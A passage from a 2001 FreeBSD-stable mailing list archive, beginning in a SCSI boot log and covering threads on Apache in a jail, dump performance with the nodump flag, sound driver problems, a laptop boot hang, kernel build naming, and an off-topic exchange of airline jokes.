(5.813MHz, offset 8, 16bit), Tagged Queueing Enabled pass2 at ahc0 bus 0 target 10 lun 0 pass2: Fixed Direct Access SCSI-2 device pass2: Serial Number LR735673000010200VZL pass2: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled pass3 at ahc0 bus 0 target 11 lun 0 pass3: Fixed Direct Access SCSI-2 device pass3: Serial Number LR73091000001005HSW1 pass3: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled pass4 at ahc0 bus 0 target 12 lun 0 pass4: Fixed Direct Access SCSI-2 device pass4: Serial Number LR64130900007019L3AC pass4: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled pass5 at ahc0 bus 0 target 13 lun 0 pass5: Fixed Direct Access SCSI-2 device pass5: Serial Number LR735032000010200MLT pass5: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled pass6 at ahc0 bus 0 target 15 lun 0 pass6: Removable Processor SCSI-3 device pass6: 3.300MB/s transfers pass6 at ahc0 bus 0 target 15 lun 0 pass6: Removable Processor SCSI-3 device pass6: 3.300MB/s transfers da0 at ahc0 bus 0 target 8 lun 0 da0: Fixed Direct Access SCSI-2 device da0: Serial Number LR64141800007019L46P da0: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled da0: 17366MB (35566480 512 byte sectors: 255H 63S/T 2213C) da1 at ahc0 bus 0 target 9 lun 0 da1: Fixed Direct Access SCSI-2 device da1: Serial Number LR737043000010161WC2 da1: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled da1: 17366MB (35566480 512 byte sectors: 255H 63S/T 2213C) da2 at ahc0 bus 0 target 10 lun 0 da2: Fixed Direct Access SCSI-2 device da2: Serial Number LR735673000010200VZL da2: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled da2: 17366MB (35566480 512 byte sectors: 255H 63S/T 2213C) da3 at ahc0 bus 0 target 11 lun 0 da3: Fixed Direct Access SCSI-2 device da3: Serial Number LR73091000001005HSW1 da3: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled da3: 17366MB (35566480 512 byte sectors: 255H 63S/T 2213C) da4 at ahc0 bus 0 target 12 lun 0 da4: Fixed Direct Access SCSI-2 device da4: Serial Number LR64130900007019L3AC da4: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled da4: 17366MB (35566480 512 byte sectors: 255H 63S/T 2213C) da5 at ahc0 bus 0 target 13 lun 0 da5: Fixed Direct Access SCSI-2 device da5: Serial Number LR735032000010200MLT da5: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled da5: 17366MB (35566480 512 byte sectors: 255H 63S/T 2213C) no devsw (majdev=0 bootdev=0xa0200000) Mounting root from ufs:/dev/idad0s1a idad0s1: type 0xa5, start 0, end = 142187999, size 142188000 : OK start_init: trying /sbin/init da3s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da4s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da2s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da1s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da0s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da5s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da0s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da1s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da2s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da3s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da4s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK da5s1: type 0xa5, start 0, end = 35566479, size 35566480 : OK To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 14:49: 2 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sdmail0.sd.bmarts.com (sdmail0.sd.bmarts.com [209.247.77.155]) by hub.freebsd.org (Postfix) with ESMTP id 46C6F37B718 for ; Fri, 16 Mar 2001 14:49:00 -0800 (PST) (envelope-from gordont@bluemtn.net) Received: from localhost (gordont@localhost) by sdmail0.sd.bmarts.com (8.11.3/8.11.2/BMA1.1) with ESMTP id f2GMkrn92246; Fri, 16 Mar 2001 14:46:53 -0800 (PST) Date: Fri, 16 Mar 2001 14:46:53 -0800 (PST) From: Gordon Tetlow X-X-Sender: To: j mckitrick Cc: Henk Wevers , "'Miklos Niedermayer'" , Subject: Re: Apache 1.3.19 does not work in a jail In-Reply-To: <20010316204114.A34966@dogma.freebsd-uk.eu.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Or even a backtrace would be useful, but the problem is that it wasn't able to do a reverse lookup on itself. This is a problem with apache, not with jail. I don't know if this is FreeBSD specific or not, as it is trivially fixed. Maybe I'll get around to install a debug version of apache and playing with it.... maybe not. -gordon On Fri, 16 Mar 2001, j mckitrick wrote: > You need to type 'run' and then paste the output here, which will show where > the pagefault occurred. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 15:23:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id 01C2037B719 for ; Fri, 16 Mar 2001 15:23:45 -0800 (PST) (envelope-from dima@unixfreak.org) Received: from hornet.unixfreak.org (hornet [63.198.170.140]) by bazooka.unixfreak.org (Postfix) with ESMTP id 050CB3E1F; Fri, 16 Mar 2001 15:23:43 -0800 (PST) To: James Housley Cc: freebsd-stable@freebsd.org Subject: Re: PROBLEMS with 4.3-BETA and dump -- UPDATED In-Reply-To: <3AB29119.7F180656@thehousleys.net>; from jim@thehousleys.net on "Fri, 16 Mar 2001 17:18:01 -0500" Date: Fri, 16 Mar 2001 15:23:43 -0800 From: Dima Dorfman Message-Id: <20010316232344.050CB3E1F@bazooka.unixfreak.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG James Housley writes: > This problem seems to be cuased by the new code in > src/sbin/dump/traverse.c r1.10.2.2 to inherite the nodump flag. I am > working to solve this problem. Are you sure? IIRC, earlier you said you tried backing this out but it didn't help. Also, I can't reproduce this problem. Does it happen every time? On all filesystems? On all (most?) hosts? How big are the filesystems? Anything else you could tell me to help me reproduce this? I'll gladly help in fixing it if I can recreate it. Thanks Dima Dorfman dima@unixfreak.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 15:40:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id 6A08037B718 for ; Fri, 16 Mar 2001 15:40:54 -0800 (PST) (envelope-from jim@thehousleys.net) Received: (from root@localhost) by thehousleys.net (8.11.2/8.11.2) id f2GNemi59489; Fri, 16 Mar 2001 18:40:48 -0500 (EST) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) by thehousleys.net (8.11.2/8.11.2) with ESMTP id f2GNek959474; Fri, 16 Mar 2001 18:40:46 -0500 (EST) (envelope-from jim@thehousleys.net) Message-ID: <3AB2A47E.4728B62E@thehousleys.net> Date: Fri, 16 Mar 2001 18:40:46 -0500 From: James Housley X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Dima Dorfman Cc: freebsd-stable@freebsd.org Subject: Re: PROBLEMS with 4.3-BETA and dump -- UPDATED References: <20010316232344.050CB3E1F@bazooka.unixfreak.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dima Dorfman wrote: > > James Housley writes: > > This problem seems to be cuased by the new code in > > src/sbin/dump/traverse.c r1.10.2.2 to inherite the nodump flag. I am > > working to solve this problem. > > Are you sure? IIRC, earlier you said you tried backing this out but > it didn't help. Also, I can't reproduce this problem. Does it happen > every time? On all filesystems? On all (most?) hosts? How big are > the filesystems? Anything else you could tell me to help me reproduce > this? I'll gladly help in fixing it if I can recreate it. > I did, but I made a mistake with the dates or ran the wrong version or what ever. It ie very easy to reproduce. I as assuming that /usr is /dev/ad0s1f and that ports is on that file system for the following instructions. For all of these example abort the dump when Phase II finishes with the "DUMP: estimate ..... blocks.." message appears. dump 0sf 1048576 /dev/null /dev/ad0s1f -- this takes 9 seconds to finish Phase II for all versions. dump 0hsf 0 1048576 /dev/null /dev/ad0s1f -- this takes 9 seconds to finish Phase II for all versions. chflags nodump /usr/ports ; dump 0sf 1048576 /dev/null /dev/ad0s1f -- this takes 9 seconds to finish Phase II for all versions. chflags nodump /usr/ports ; dump 0hsf 0 1048576 /dev/null /dev/ad0s1f -- this takes 9 seconds to finish Phase II for version 1.10.2.1 of src/sbin/dump/traverse.c chflags nodump /usr/ports ; dump 0hsf 0 1048576 /dev/null /dev/ad0s1f -- this takes 38 minutes to finish Phase II for version 1.10.2.1 of src/sbin/dump/traverse.c A I believe that it is because it repeats once for each file in the subtree: msg("mapping (Pass II) [directories]\n"); while (anydirskipped) { anydirskipped = mapdirs(maxino, &tapesize); } I have not yet tested: chflags -R nodump /usr/ports ; dump 0hsf 0 1048576 /dev/null /dev/ad0s1f To see if it is quicker. I think the problem may actually be in mapfiles() and not mapdirs(). The above test will tell me, I am also going to add a counter in the above loop to verify this theory. However I am in the middle of a build world back towards a more recent version. But after dinner I should be able to test this. I welcome independent testing. Jim -- /"\ ASCII Ribbon Campaign . \ / - NO HTML/RTF in e-mail . X - NO Word docs in e-mail . / \ ----------------------------------------------------------------- jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve jim@TheHousleys.Net http://www.TheHousleys.net --------------------------------------------------------------------- Progress (n) : What led from smart users in front of dumb terminals to dumb users in front of smart terminals. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 16:14:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cx344940-a.meta1.la.home.com (cx344940-a.meta1.la.home.com [24.6.21.74]) by hub.freebsd.org (Postfix) with ESMTP id 8C1C437B719 for ; Fri, 16 Mar 2001 16:14:17 -0800 (PST) (envelope-from conrads@cx344940-a.meta1.la.home.com) Received: (from conrads@localhost) by cx344940-a.meta1.la.home.com (8.11.3/8.11.3) id f2H07Wl66415; Fri, 16 Mar 2001 18:07:32 -0600 (CST) (envelope-from conrads) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010316221800.A83777@raven.addict.de> Date: Fri, 16 Mar 2001 18:07:32 -0600 (CST) Organization: @Home Network From: Conrad Sabatier To: Juergen Unger Subject: Re: ES1371 problem with up-to-date -BETA Cc: freebsd-stable@FreeBSD.ORG Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 16-Mar-01 Juergen Unger wrote: > Richard J Kuhns wrote: > [...] >> When using cat to send a .au file to /dev/audio it sounds like it's playing >> about twice as fast as it should. > [...] > > same problem here since we bought such a soundcard. Problem > did not changed from 4.2-RELEASE to 4.2-STABLE from november and > december and it seems that its still in 4.3-BETA... Hmm. My system has an ES1371 on the motherboard, and it's worked just fine with all versions of newpcm (apart from one or two occasions where a well-known problem existed in the driver). Still working fine with 4.3-BETA as well. Sorry, wish I could help. ---------------------------------- E-Mail: Conrad Sabatier Date: 16-Mar-01 Time: 18:05:35 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 16:17:43 2001 Delivered-To: freebsd-stable@freebsd.org Received: from subsonic.hlserver.com (subsonic.hlserver.com [216.191.56.5]) by hub.freebsd.org (Postfix) with ESMTP id 3BA5837B719 for ; Fri, 16 Mar 2001 16:17:40 -0800 (PST) (envelope-from nrg@subsonic.hlserver.com) Received: (from nrg@localhost) by subsonic.hlserver.com (8.11.2/8.9.3) id f2H0HIM12700 for freebsd-stable@freebsd.org; Fri, 16 Mar 2001 19:17:18 -0500 (EST) (envelope-from nrg) Date: Fri, 16 Mar 2001 19:17:18 -0500 From: David J Mark To: freebsd-stable@freebsd.org Subject: inspiron hang after 4.3-BETA on isa probe Message-ID: <20010316191718.A12565@purefusion.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG as it says in the title, i upgraded my dell inspiron laptop to 4.3-BETA from the stable supfile... no big deal, as i've got lots of backup kernels, but the 4.3-BETA hangs now. after booting -v, i get this: isa_probe_children: probing PnP devices and thats it... that comes up just after ppi0 and some failed isa NIC dirvers. i'm gonna poke around a bit on this to see if its something in the laptop's bios i can tweak, but any suggestions would be greatly appreciated. note i have successfully upgraded a few other machines to 4.3-BETA but they were basic Intel P3s, not laptops. DJM:> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 16:30:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 9BF7E37B719 for ; Fri, 16 Mar 2001 16:30:49 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2H0TUH90705; Fri, 16 Mar 2001 16:29:31 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: bright@wintelcom.net Cc: juha@saarinen.org, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.x and BSDi 4.x binary compatible? In-Reply-To: <20010316134215.J29888@fw.wintelcom.net> References: <20010316134215.J29888@fw.wintelcom.net> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010316162930V.jkh@osd.bsdi.com> Date: Fri, 16 Mar 2001 16:29:30 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 8 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Actually, on the same note, I'm planning on flying a 747 jet later > this evening, anyone know what I should watch out for? Any tips > for a smooth ride? Yeah, make sure someone else sits in the left front seat. We wouldn't want you to total a perfectly good jet aircraft! :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 16:38:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 8208837B719 for ; Fri, 16 Mar 2001 16:38:26 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2H0cAo81963; Fri, 16 Mar 2001 16:38:10 -0800 (PST) (envelope-from dillon) Date: Fri, 16 Mar 2001 16:38:10 -0800 (PST) From: Matt Dillon Message-Id: <200103170038.f2H0cAo81963@earth.backplane.com> To: Jordan Hubbard Cc: bright@wintelcom.net, juha@saarinen.org, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.x and BSDi 4.x binary compatible? References: <20010316134215.J29888@fw.wintelcom.net> <20010316162930V.jkh@osd.bsdi.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> Actually, on the same note, I'm planning on flying a 747 jet later :> this evening, anyone know what I should watch out for? Any tips :> for a smooth ride? : :Yeah, make sure someone else sits in the left front seat. We wouldn't :want you to total a perfectly good jet aircraft! :) : :- Jordan Ok, this is getting pathetic, guys! Time to pull out the big guns. -Matt >From: The Rosenbergs >To: (Recipient list suppressed) >Subject: For frequent flyers >Date: Sat, 17 Feb 2001 17:18:47 -0500 > >Occasionally, airline attendants make an effort to make the >"in-flight safety lecture" and their other announcements a bit more >entertaining. >Here are some real examples that have been heard or reported: >1. From a Southwest Airlines employee.... "There may be 50 ways to >leave your lover, but there are only 4 ways out of this airplane..." >2. Pilot - "Folks, we have reached our cruising altitude now, so I am >going to switch the seat belt sign off. Feel free to move about as you >wish, but please stay inside the plane till we land...it's a bit cold >outside, and if you walk on the wings it affects the flight pattern." >3. After landing: "Thank you for flying Delta Business Express. We >hope you enjoyed giving us the business as much as we enjoyed taking you >for a ride. >4. As the plane landed and was coming to a stop at Washington >National, a lone voice comes over the loudspeaker: "Whoa, big fella. >WHOA!" >5. After a particularly rough landing during thunderstorms in >Memphis, a flight attendant on a Northwest flight announced: "Please take >care when opening the overhead compartments because, after a landing like >that,sure as hell everything has shifted." >6. From a Southwest Airlines employee.... "Welcome aboard Southwest >Flight XXX to YYY. To operate your seat belt, insert the metal tab into >the buckle, and pull tight. It works just like every other seat belt and >if you don't know how to operate one, you probably shouldn't be out in >public unsupervised. In the event of a sudden loss of cabin pressure, >oxygen masks will descend from the ceiling. Stop screaming, grab the >mask, and pull it over your face. If you have a small child traveling >with you, secure your mask before assisting with theirs. If you are >traveling with two small children, decide now which one you love more. >7. Weather at our destination is 50 degrees with some broken clouds, >but they'll try to have them fixed before we arrive. Thank you, and >remember, nobody loves you or your money, more than Southwest Airlines." >8. "Your seat cushions can be used for flotation and in the event of >an emergency water landing, please take them with our compliments." >9. "As you exit the plane, please make sure to gather all of your >belongings. Anything left behind will be distributed evenly among the >flight attendants. Please do not leave children or spouses." >10. "Last one off the plane must clean it." >11. From the pilot during his welcome message: "We are pleased to >have some of the best flight attendants in the industry...Unfortunately >none of them are on this flight...! >12. Overheard on an American Airlines flight into Amarillo, Texas, on >a particularly windy and bumpy day. During the final approach, the >Captain was really having to fight it. After an extremely hard landing, >the Flight Attendant came on the PA and announced, "Ladies and Gentlemen, >welcome to Amarillo. Please remain in your seats with your seat belts >fastened while the Captain taxis what's left of our airplane to the >gate!" >13. Another flight Attendant's comment on a less than perfect >landing:"We ask you to please remain seated as Captain Kangaroo bounces >us to the terminal." >14. An airline pilot wrote that on this particular flight he had >hammered his ship into the runway really hard. The airline had a policy >which required the first officer to stand at the door while the >passengers exited, smile, and give them a "Thanks for flying XYZ >airline." He said that in light of his bad landing, he had a hard time >looking the passengers in the eye, thinking that someone would have a >smart comment. Finally, everyone had gotten off except for this little >old lady walking with a cane. She said, "Sonny, mind if I ask you a >question?" "Why no, Ma'am," said the pilot, "what is it?" The little old >lady said, "Did we land or were we shot down?" >15. After a real crusher of a landing in Phoenix, the Flight >Attendant came on with, "Ladies and Gentlemen, please remain in your >seats until Captain Crash and the Crew have brought the aircraft to a >screeching halt up against the gate. And, once the tire smoke has cleared >and the warning bells are silenced, we'll open the door and you can pick >your way through the wreckage to the terminal. >16. Part of a Flight Attendant's arrival announcement: "We'd like to >thank you folks for flying with us today. And, the next time you get the >insane urge to go blasting through the skies in a pressurized metal tube, >we hope you'll think of us here at US Airways. > >Rules of the Air from the "Australian Aviation" magazine: > >1. If you push the stick forward, the houses get bigger. If you pull the >stick back the houses get smaller -- that is unless you keep pulling the >stick all the way back, then they get bigger again. > >2. Every takeoff is optional, every landing is mandatory. > >3. Flying isn't dangerous. Crashing is dangerous. > >4. It's always better to be down here wishing you were up there, than be up >there wishing you were down here. > >5. The propeller is just a big fan in front of the plane that keeps the >pilot >cool. When it stops, you can actually see the pilot start to sweat. > >6. Always try to keep the number of landing sequel to the number of >takeoffs. > >7. There are three simple rules to a smooth landing. But no one seems to >know >what they are. > >8. Good judgement comes from experience. Unfortunately, experience comes >from bad judgement. > >9. Helicopters can't fly; they are just so ugly the earth repels them. > >10. In the ongoing battle between frail aluminum objects going hundreds of >miles per hour and the ground going zero miles per hour, the ground has yet >to lose. > >11. It's always a good idea to keep the pointy end of the plane going >forward >as much as possible. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 16:53:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id DF11537B718 for ; Fri, 16 Mar 2001 16:53:31 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14e4y9-0002C4-00; Sat, 17 Mar 2001 13:53:21 +1300 From: "Juha Saarinen" To: "Matt Dillon" , "Jordan Hubbard" Cc: , Subject: RE: FreeBSD 4.x and BSDi 4.x binary compatible? Date: Sat, 17 Mar 2001 13:56:28 +1300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <200103170038.f2H0cAo81963@earth.backplane.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG AAAARRGHHH.... I'm really, really, really sorry I asked that question. ;-) http://www.amigoingdown.com/ -- just for future reference. -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 17:38:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80]) by hub.freebsd.org (Postfix) with ESMTP id 4C04E37B71A for ; Fri, 16 Mar 2001 17:38:21 -0800 (PST) (envelope-from scott_long@btc.adaptec.com) Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id RAA02268; Fri, 16 Mar 2001 17:37:41 -0800 (PST) Received: from btc.btc.adaptec.com (btc.btc.adaptec.com [162.62.64.10]) by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id RAA28586; Fri, 16 Mar 2001 17:29:28 -0800 (PST) Received: from btcexc01.btc.adaptec.com (btcexc01 [162.62.147.10]) by btc.btc.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id SAA17322; Fri, 16 Mar 2001 18:37:35 -0700 (MST) Received: by btcexc01.btc.adaptec.com with Internet Mail Service (5.5.2650.21) id ; Fri, 16 Mar 2001 18:37:36 -0700 Message-ID: <06228E4B0919D511BB5B0000D11ABE921A3A8E@btcexc01.btc.adaptec.com> From: "Long, Scott" To: "'vladimir@math.uic.edu'" , freebsd-stable@freebsd.org Subject: RE: maestro3 driver Date: Fri, 16 Mar 2001 18:37:35 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG There was a problem in -stable that prevented any sound driver from being loaded as a module. This was fixed about 3 weeks ago if I remember correctly, so please update and try again. Scott > -----Original Message----- > From: vladimir@math.uic.edu [mailto:vladimir@math.uic.edu] > Sent: Friday, March 16, 2001 7:46 AM > To: freebsd-stable@freebsd.org > Subject: maestro3 driver > > > On Feb 8, I've reported maestro3 driver broken (please see > a copy of a message below for details). I was wondering > if anyone had a chance to have a look at this problem (it would > be nice to have it working by the time 4.3 comes out). > > Many thanks, > Vladimir > ******************************************************* > > Date: 2001-02-08 11:00:36 PST > > > From: vladimir@math.uic.edu [[14]mailto:vladimir@math.uic.edu] > > Sent: Thursday, February 08, 2001 10:29 AM > > To: freebsd-stable@freebsd.org > > Subject: maestro3 driver broken? > > > > I had no luck compiling a recently-committed driver for > > maestro3 sounds cards. The system is 4.2-STABLE, source > > cvsup'ed on Feb 7, 2001. Running 'make depend; make' > > in /usr/src/sys/modules/sound/driver/maestro3 > > produces the output attached below. > > > > I have emailed to Darrell Anderson , > > who seems to have written this driver, but just want to confirm > > that I am not doing something wrong. Has anyone else run > > into the same problem? I could compile the driver > > before I did an upgrade (I believe my old sources were from > > Jan 15, 2001, but I am not sure). > > 4.2-STABLE recently had the kobj changes from 5.0-CURRENT > backported. I am > moving to Scott Long's 5.0-CURRENT version, which should work > in the STABLE > now: > > http://people.freebsd.org/~scottl/maestro3/ > > That said, it doesn't work yet. It compiles cleanly and the > module loads, > but the attach fails. > > The driver's m3_pci_attach() calls pcm_addchan(), which in turn calls > chn_init(). Then chn_init() calls CHANNEL_INIT(), but it > doesn't invoke > the driver's m3_pchan_init() as it should. The sound buf is never > allocated, so chn_init() returns ENOMEM. > > I haven't had time to play with it much yet. The driver > works in CURRENT; > is there something different in the new method/class pcm > framework between > CURRENT and STABLE? > > -Darrell > > -- > Department of Computer Science, Duke University, Durham, NC 27708-0129 > Darrell Anderson, anderson -at- cs.duke.edu, > [16]http://www.cs.duke.edu/~anders > on > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 18:48: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id F35F437B71A for ; Fri, 16 Mar 2001 18:48:04 -0800 (PST) (envelope-from doug@safeport.com) Received: from localhost (doug@localhost) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f2H2m3d22624 for ; Fri, 16 Mar 2001 21:48:04 -0500 (EST) (envelope-from doug@safeport.com) X-Authentication-Warning: fledge.watson.org: doug owned process doing -bs Date: Fri, 16 Mar 2001 21:48:03 -0500 (EST) From: Doug Denault X-Sender: doug@fledge.watson.org To: freebsd-stable@freebsd.org Subject: make installkernel KERNEL=client Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It appears there are some values of client that do not work. I was installing a new system using a build-server. Since it is going to be a mail server I named it mail.domain.com and tried make buildkernel KERNEL=MAIL this gave a immediate return. So I blew /usr/obj away and redid the buildworld, getting the same result. Changing the kernel name to something that was not unix related (MERLIN in this case) makes everything work. I saw nothing obvious in /usr/src/Makefile or /usr/src/Makefile.inc1. The build-server is 4.2. For the new system I installed the 4.1 CD and upgraded via NFS. ------- Douglas Denault Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 18:57:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id 4AF2E37B718 for ; Fri, 16 Mar 2001 18:57:22 -0800 (PST) (envelope-from jim@thehousleys.net) Received: (from root@localhost) by thehousleys.net (8.11.3/8.11.2) id f2H2vHr04183; Fri, 16 Mar 2001 21:57:17 -0500 (EST) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) by thehousleys.net (8.11.3/8.11.3) with ESMTP id f2H2vFf04175; Fri, 16 Mar 2001 21:57:15 -0500 (EST) (envelope-from jim@thehousleys.net) Message-ID: <3AB2D28B.A58B2C09@thehousleys.net> Date: Fri, 16 Mar 2001 21:57:15 -0500 From: James Housley X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Doug Denault Cc: freebsd-stable@freebsd.org Subject: Re: make installkernel KERNEL=client References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug Denault wrote: > > It appears there are some values of client that do not work. I was > installing a new system using a build-server. Since it is going to be a > mail server I named it mail.domain.com and tried > > make buildkernel KERNEL=MAIL > As the discussion on this list and questions for the last 7 days have pointed out, KERNCONF is the proper name. Try that. Jim -- /"\ ASCII Ribbon Campaign . \ / - NO HTML/RTF in e-mail . X - NO Word docs in e-mail . / \ ----------------------------------------------------------------- jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve jim@TheHousleys.Net http://www.TheHousleys.net --------------------------------------------------------------------- Hi! I'm a .signature virus! Copy me in your ~/.signature to help me spread! <- Save this lifeform ;-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 20: 2:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 6AC9837B718 for ; Fri, 16 Mar 2001 20:02:29 -0800 (PST) (envelope-from doug@safeport.com) Received: from localhost (doug@localhost) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f2H42OJ23309; Fri, 